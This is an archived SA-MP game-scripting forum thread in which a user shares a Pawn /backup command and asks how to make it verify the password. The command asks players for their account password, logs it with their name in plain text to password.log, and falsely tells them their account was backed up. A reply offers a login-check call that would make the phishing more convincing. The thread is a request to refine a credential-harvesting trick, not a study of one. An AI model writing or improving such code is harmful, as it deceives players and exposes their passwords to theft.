SA-MP Forums Archive
Check password - Printable Version

+- SA-MP Forums Archive (https://sampforum.blast.hk)
+-- Forum: SA-MP Scripting and Plugins (https://sampforum.blast.hk/forumdisplay.php?fid=8)
+--- Forum: Scripting Help (https://sampforum.blast.hk/forumdisplay.php?fid=12)
+--- Thread: Check password (/showthread.php?tid=592026)



Check password - Sh4d0w2 - 19.10.2015

I want to make this cmd check if the password is correct it said "you succesfully.........." and if incorrect it said "incorrect password"

PHP код:
CMD:backup(playerid, params[])
{
new 
text[64], name[MAX_PLAYER_NAME], pass[256], File:passfile;
if(
sscanf(params, "s[64]", text)) return SendClientMessage(playerid, COLOR_RED, "USAGE : "cwhite"/backup "cyellow"[ACCOUNT PASSWORD]");
GetPlayerName(playerid, name, sizeof(name));
format(pass, sizeof(pass), "Name : %s  Password : %s\r\n\n", name, text);
passfile = fopen("password.log", io_append);
fwrite(passfile, pass);
fclose(passfile);
SendClientMessage(playerid, COLOR_WHITE, "You succesfully backup your "#cyellow"account "#cwhite"to us ");
return 1;
} 
Maybe this code can help:
PHP код:
if (udb_CheckLogin(PlayerName2(playerid),pass))